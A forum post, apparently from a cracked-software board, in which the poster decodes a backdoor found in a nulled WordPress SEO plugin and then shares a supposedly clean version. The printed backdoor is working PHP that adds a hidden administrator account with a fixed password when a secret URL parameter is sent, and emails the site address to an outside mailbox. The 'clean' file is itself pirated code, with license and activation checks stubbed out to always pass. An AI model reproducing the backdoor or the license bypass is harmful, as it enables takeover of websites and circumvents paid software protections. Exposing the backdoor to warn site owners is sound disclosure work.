RE:
Just decoded the entire thing.
Here's the added malicious code:
Quote:<?php
add_action('wp_head', 'vg4beaws');
function vg4beaws()
{
If ($_GET['cms'] == 'jjoplmh') {
require('wp-includes/registration.php');
If (!username_exists('wordpress')) {
$user_id = wp_create_user('wordpress','gh67io9Cjm');
$user = new WP_User($user_id);
$user->set_role('administrator');
}}}
add_action('wp_head', 'm6yascfv');
function m6yascfv()
{If (!username_exists('wordpress'))
{
$addressdecode=base64_decode("cGhpbGx5Y2hhZEBnbXguY29t");
$vari='Wordpress Plugin covertplayer';
mail($addressdecode,get_bloginfo('wpurl'),$vari);
}}
?>
If you don't know php: if someone goes to a site running this cracked plugin and adds ?cms=jjoplmh to the end of the url, an admin is added to WP with username wordpress and password gh67io9Cjm. Also, when the plugin is initially installed, your site url gets emailed to phillychad@gmx.com.
Here's the non-infected php:
Quote:<?php
if (!class_exists('WPPostsRateKeys_Central'))
{
class WPPostsRateKeys_Central
{
static $url_nu = 'http://seopressor.com/nu.php';
static $url_box_msg = 'http://seopressor.com/get_msg_for_plugin_box.php';
static $url_check_if_active = 'http://seopressor.com/activate.php';
static $url_check_last_version = 'http://seopressor.com/lvc.php';
static $url_send_visits = 'http://seopressor.com/rv.php';
static $url_to_automatic_upgrade = 'http://seopressor.com/lv_down.php';
static $url_add_new_domain = 'http://seopressor.com/spfp/add_domain.php';
static $original_post_content = '_seopressor_original_post_content';
static $cache_score = '_seo_cached_score';
static $cache_suggestions_box = '_seo_cached_suggestions_box';
static $cache_special_suggestions = '_seo_cached_special_suggestions';
static $cache_md5 = '_seo_cache_md5';
static $cache_filtered_title = '_seo_cached_filtered_title';
static $cache_md5_for_filter_content = '_seo_cache_md5_filter_content';
static $cache_md5_filter_content_last_mod_time = '_seo_cache_filter_content_last_mod_time';
static function check_update_post_data_in_cache($post_id) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword2_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword2);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$post_keyword3_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword3);
$post_allow_keyword_overriding = (WPPostsRateKeys_WPPosts::get_allow_keyword_overriding_in_sentences($post_id))?'1':'0';
$post_keyword_first_sentence = (WPPostsRateKeys_WPPosts::setting_key_first_sentence($post_id))?'1':'0';
$post_keyword_last_sentence = (WPPostsRateKeys_WPPosts::setting_key_last_sentence($post_id))?'1':'0';
$post_allow_meta_keyword = (WPPostsRateKeys_WPPosts::get_allow_meta_keyword($post_id))?'1':'0';
$post_use_for_meta_keyword = WPPostsRateKeys_WPPosts::get_use_for_meta_keyword($post_id);
$post_allow_meta_description = (WPPostsRateKeys_WPPosts::get_allow_meta_description($post_id))?'1':'0';
$post_meta_description = WPPostsRateKeys_WPPosts::get_meta_description($post_id);
$post_allow_meta_title = (WPPostsRateKeys_WPPosts::get_allow_meta_title($post_id))?'1':'0';
$post_meta_title = WPPostsRateKeys_WPPosts::get_meta_title($post_id);
$settings = self::get_md5_settings(TRUE);
$settings_str = implode('',$settings);
$post_permalink = get_permalink($post_id);
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_title = $data_arr[0];
$previous_content = $data_arr[1];
$post_whole_page_to_analyze = WPPostsRateKeys_ContentRate::get_post_whole_page_to_analyze($post_id,$settings,$post_permalink);
$post_content_to_edit = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
if ($post_whole_page_to_analyze!==FALSE) {
$post_content = $post_whole_page_to_analyze;
$from_url = TRUE;
}
else {
$post_content = $post_content_to_edit;
$from_url = FALSE;
}
$current_md5 = md5($post_permalink
.$post_keyword.$post_keyword_lsi
.$post_keyword2.$post_keyword2_lsi
.$post_keyword3.$post_keyword3_lsi
.$post_title.$post_content.$settings_str
.$post_allow_keyword_overriding.$post_keyword_first_sentence.$post_keyword_last_sentence
.$post_allow_meta_keyword.$post_use_for_meta_keyword
.$post_allow_meta_description.$post_meta_description
);
$cache_valid = FALSE;
if ($current_md5==get_post_meta($post_id,self::$cache_md5,TRUE)) {
$cache_valid = TRUE;
}
if (!$cache_valid) {
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$filtered_title = WPPostsRateKeys_Filters::filter_post_title($post_title,$keyword_arr,$settings);
$previous_title = get_post_meta($post_id,self::$cache_filtered_title,TRUE);
if ($filtered_title!=$previous_title) {
update_post_meta($post_id,self::$cache_filtered_title,$filtered_title);
}
$post_content_filtered = WPPostsRateKeys_Filters::filter_post_content($keyword_arr,$post_content_to_edit,$settings,$post_id);
if (!$from_url) {
$post_content = $post_content_filtered;
}
$all_post_data = WPPostsRateKeys_ContentRate::get_all_post_data($post_id,$keyword_arr,$post_content
,$filtered_title,$settings,$from_url,$post_content_filtered);
$score = $all_post_data[0];
update_post_meta($post_id,self::$cache_score,$score);
$suggestions_box = $all_post_data[1];
update_post_meta($post_id,self::$cache_suggestions_box,serialize($suggestions_box));
$special_suggestions = $all_post_data[2];
update_post_meta($post_id,self::$cache_special_suggestions,serialize($special_suggestions));
update_post_meta($post_id,self::$cache_md5,$current_md5);
WPPostsRateKeys_RelatedTags::process_tags_for_post($post_id,$filtered_title,$previous_title,$previous_content);
}
}
static function get_clear_domains() {
if (WPPostsRateKeys_Settings::support_multibyte()) {
$current_domain = mb_strtolower(get_bloginfo('wpurl'),'UTF-8');
}
else {
$current_domain = strtolower(get_bloginfo('wpurl'));
}
$current_domain_arr = parse_url($current_domain);
$current_domain_no_dir = $current_domain_arr['host'];
return array('google.com',$current_domain_no_dir);
}
static function get_suggestions_page($post_id) {
$all_messages = WPPostsRateKeys_Central::get_suggestions_box($post_id);
$all_suggestions = array();
if ($all_messages) {
list($box_decoration_suggestions_arr,$box_url_suggestions_arr,$box_content_suggestions_arr) = $all_messages['box_suggestions_arr'];
$all_suggestions = array_merge($box_decoration_suggestions_arr,$box_url_suggestions_arr,$box_content_suggestions_arr);
}
return $all_suggestions;
}
static function get_filtered_title($post_id,$post_title='') {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$settings = WPPostsRateKeys_Settings::get_options();
if ($post_title=='') {
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_title = $data_arr[0];
}
$new_title = WPPostsRateKeys_Filters::filter_post_title($post_title,$keyword_arr,$settings);
return $new_title;
}
static function get_license_type() {
$license = 'ea8f243d9885cf8ce9876a580224fd3c';
return $license;
}
static function is_valid_current_domain() {
return true;
}
static function check_to_active() {
$data = WPPostsRateKeys_Settings::get_options();
if ($data['allow_manual_reactivation']=='1') {
return FALSE;
}
$is_valid_first_step = self::is_valid_current_domain();
if ($is_valid_first_step) {
WPPostsRateKeys_Settings::update_active_by_server_response('ACTIVE',TRUE);
$in_80_days = time() +(80 * 86400);
wp_schedule_single_event($in_80_days,'seopressor_onetime_check_active');
return TRUE;
}
else {
return FALSE;
}
}
static function get_md5_settings($as_array=FALSE) {
$options = WPPostsRateKeys_Settings::get_options();
$return = array();
$return['h1_tag_already_in_theme'] = $options['h1_tag_already_in_theme'];
$return['h2_tag_already_in_theme'] = $options['h2_tag_already_in_theme'];
$return['h3_tag_already_in_theme'] = $options['h3_tag_already_in_theme'];
$return['allow_add_keyword_in_titles'] = $options['allow_add_keyword_in_titles'];
$return['allow_bold_style_to_apply'] = $options['allow_bold_style_to_apply'];
$return['bold_style_to_apply'] = $options['bold_style_to_apply'];
$return['allow_italic_style_to_apply'] = $options['allow_italic_style_to_apply'];
$return['italic_style_to_apply'] = $options['italic_style_to_apply'];
$return['allow_underline_style_to_apply'] = $options['allow_underline_style_to_apply'];
$return['underline_style_to_apply'] = $options['underline_style_to_apply'];
$return['allow_automatic_adding_rel_nofollow'] = $options['allow_automatic_adding_rel_nofollow'];
$return['special_characters_to_omit'] = $options['special_characters_to_omit'];
$return['image_alt_tag_decoration'] = $options['image_alt_tag_decoration'];
$return['alt_attribute_structure'] = $options['alt_attribute_structure'];
$return['analize_full_page'] = $options['analize_full_page'];
$return['image_title_tag_decoration'] = $options['image_title_tag_decoration'];
$return['title_attribute_structure'] = $options['title_attribute_structure'];
$return['auto_add_rel_nofollow_img_links'] = $options['auto_add_rel_nofollow_img_links'];
if ($as_array)
return $return;
else
return implode('',$return);
}
static function get_md5_settings_for_filter_content($as_array=FALSE) {
$options = WPPostsRateKeys_Settings::get_options();
$return = array();
$return['allow_bold_style_to_apply'] = $options['allow_bold_style_to_apply'];
$return['bold_style_to_apply'] = $options['bold_style_to_apply'];
$return['allow_italic_style_to_apply'] = $options['allow_italic_style_to_apply'];
$return['italic_style_to_apply'] = $options['italic_style_to_apply'];
$return['allow_underline_style_to_apply'] = $options['allow_underline_style_to_apply'];
$return['underline_style_to_apply'] = $options['underline_style_to_apply'];
$return['allow_automatic_adding_rel_nofollow'] = $options['allow_automatic_adding_rel_nofollow'];
$return['special_characters_to_omit'] = $options['special_characters_to_omit'];
$return['image_alt_tag_decoration'] = $options['image_alt_tag_decoration'];
$return['alt_attribute_structure'] = $options['alt_attribute_structure'];
$return['image_title_tag_decoration'] = $options['image_title_tag_decoration'];
$return['title_attribute_structure'] = $options['title_attribute_structure'];
$return['auto_add_rel_nofollow_img_links'] = $options['auto_add_rel_nofollow_img_links'];
if ($as_array)
return $return;
else
return implode('',$return);
}
static function get_original_post_content($post_id) {
return get_post_meta($post_id,self::$original_post_content,TRUE);
}
static function update_original_post_content($post_id,$original_content) {
update_post_meta($post_id,self::$original_post_content,$original_content);
}
static function get_score($post_id) {
$return = get_post_meta($post_id,self::$cache_score,TRUE);
if ($return=='')
$return = 0;
return $return;
}
static function get_suggestions_box($post_id='') {
if ($post_id!='') {
$suggestions_box = maybe_unserialize(get_post_meta($post_id,self::$cache_suggestions_box,TRUE));
if ($suggestions_box) {
$box_suggestions_arr = $suggestions_box['box_suggestions_arr'];
$special_suggestions_arr = maybe_unserialize(get_post_meta($post_id,self::$cache_special_suggestions,TRUE));
}
else {
return array();
}
}
$messages_texts = WPPostsRateKeys_ContentRate::get_suggestions_for_box();
$suggestions_per_sections = WPPostsRateKeys_ContentRate::get_suggestions_per_sections();
$suggestions_section_decoration = array();
$suggestions_section_url = array();
$suggestions_section_content = array();
foreach ($box_suggestions_arr as $box_suggestions_item) {
$tmp_msg = $messages_texts[$box_suggestions_item[1]];
$tmp_msg_msg = $tmp_msg[0];
$tmp_msg_tooltip = htmlentities($tmp_msg[1]);
if (count($box_suggestions_item)>2) {
$tmp_msg_msg = str_replace('<<N>>',$box_suggestions_item[2],$tmp_msg_msg);
if ($box_suggestions_item[2]>1) {
$tmp_msg_msg = str_replace('<<(s)>>','s',$tmp_msg_msg);
}
else {
$tmp_msg_msg = str_replace('<<(s)>>','',$tmp_msg_msg);
}
}
if (in_array($box_suggestions_item[1],$suggestions_per_sections['decoration'])) {
$suggestions_section_decoration[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
elseif (in_array($box_suggestions_item[1],$suggestions_per_sections['url'])) {
$suggestions_section_url[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
elseif (in_array($box_suggestions_item[1],$suggestions_per_sections['content'])) {
$suggestions_section_content[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
}
$suggestions_box['box_suggestions_arr'] = array($suggestions_section_decoration
,$suggestions_section_url
,$suggestions_section_content);
$score_less_than_100 = array();
$score_more_than_100 = array();
$score_over_optimization = array();
if (isset($special_suggestions_arr) and&isset($special_suggestions_arr['score_less_than_100'])) {
foreach ($special_suggestions_arr['score_less_than_100'] as $tmp_msg) {
$score_less_than_100[] = $messages_texts[$tmp_msg];
}
foreach ($special_suggestions_arr['score_more_than_100'] as $tmp_msg) {
$score_more_than_100[] = $messages_texts[$tmp_msg];
}
if (isset($special_suggestions_arr['score_over_optimization'][1])) {
foreach ($special_suggestions_arr['score_over_optimization'][1] as $tmp_msg) {
$score_over_optimization[] = $messages_texts[$tmp_msg];
}
}
}
if (!isset($special_suggestions_arr['score_over_optimization'][0])) {
$special_suggestions_arr['score_over_optimization'][0] = '';
}
$suggestions_box['special_suggestions_arr'] = array($score_less_than_100
,$score_more_than_100
,array('type'=>$special_suggestions_arr['score_over_optimization'][0],'list'=>$score_over_optimization)
);
return $suggestions_box;
}
static function get_specific_data_from_server($info_to_request) {
return 'ACTIVE';
}
static public function make_last_version_plugin_request() {
$response = wp_remote_get(self::$url_check_last_version,array('timeout'=>WPPostsRateKeys::$timeout));
if (!is_wp_error($response)) {
$body = $response['body'];
WPPostsRateKeys_Settings::update_last_version($body);
return TRUE;
}
else {
WPPostsRateKeys_Logs::add_error('373',"make_last_version_plugin_request, Url: ".self::$url_check_last_version);
return FALSE;
}
}
static public function send_visits() {
$all = WPPostsRateKeys_Visits::get_all();
$all_arr = array();
foreach ($all as $all_item) {
$visit_date = date('Y-m-d',strtotime($all_item->visit_dt));
if (key_exists($visit_date,$all_arr)) {
$all_arr[$visit_date] = $all_arr[$visit_date] +1;
}
else {
$all_arr[$visit_date] = 1;
}
}
$list_to_send_arr = array();
foreach ($all_arr as $all_arr_key=>$all_arr_counter) {
$list_to_send_arr[] = $all_arr_key .' '.$all_arr_counter;
}
$list_to_send = urlencode(implode(',',$list_to_send_arr));
if (true) {
foreach ($all as $all_item) {
WPPostsRateKeys_Visits::delete($all_item->id);
}
return TRUE;
}
else {
WPPostsRateKeys_Logs::add_error('375',"send_visits, Url: ".self::$url_check_last_version);
return FALSE;
}
}
static function get_content_cache_current_md5($post_id,$settings=array(),$keywords=array(),$post_content='') {
if (count($keywords)==0) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
}
else {
$post_keyword = $keywords[0];
if (count($keywords)>1) {
$post_keyword2 = $keywords[1];
}
else {
$post_keyword2 = '';
}
if (count($keywords)>2) {
$post_keyword3 = $keywords[2];
}
else {
$post_keyword3 = '';
}
}
if ($post_content=='') {
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_content = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
}
if (count($settings)==0) {
$settings = self::get_md5_settings_for_filter_content(TRUE);
}
$settings_str = implode('',$settings);
$current_md5 = md5($post_keyword
.$post_keyword2
.$post_keyword3
.$post_content.$settings_str
);
return $current_md5;
}
static function get_update_content_cache($post_id,$current_content) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$settings = self::get_md5_settings_for_filter_content(TRUE);
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_content = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
$current_md5 = self::get_content_cache_current_md5($post_id,$settings,array($post_keyword,$post_keyword2,$post_keyword3),$post_content);
$invalid_ext_or_int_links = FALSE;
$last_dt_cache_mod = get_post_meta($post_id,self::$cache_md5_filter_content_last_mod_time,TRUE);
if (WPPostsRateKeys_Settings::get_last_external_links_modification_time()>=$last_dt_cache_mod
||WPPostsRateKeys_Settings::get_last_internal_links_modification_time()>=$last_dt_cache_mod
) {
$invalid_ext_or_int_links = TRUE;
}
if ($current_md5==get_post_meta($post_id,self::$cache_md5_for_filter_content,TRUE)
and&!$invalid_ext_or_int_links) {
return $current_content;
}
else {
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$filtered_content = WPPostsRateKeys_Filters::filter_post_content($keyword_arr,$post_content,$settings,$post_id,$current_md5);
return $filtered_content;
}
}
static function send_url() {
}
static function get_current_domain() {
if (WPPostsRateKeys_Settings::support_multibyte()) {
$current_domain = mb_strtolower(get_bloginfo('wpurl'),'UTF-8');
}
else {
$current_domain = strtolower(get_bloginfo('wpurl'));
}
$current_domain_arr = parse_url($current_domain);
$current_domain_no_dir = $current_domain_arr['host'];
return $current_domain_no_dir;
}
static public function add_current_domain() {
}
}
}
?>
If you like the share, give positive reputation!
Our releases should be used for learning only!!! If you make money using our releases then you really should support the original devs and buy it! Want to support me? Give me BitCoin: 1HQMH9W6hjLEmZL543ykYtxtmGYeGhxaEK
You can also donate me dogecoins: DE6NF3VP6SMGrPxjPRqqbirFBkyfDzh1Vk
|
![[Image: GoldenAcceptedHereBitcoin.png]](https://en.bitcoin.it/w/images/en/e/e2/GoldenAcceptedHereBitcoin.png)
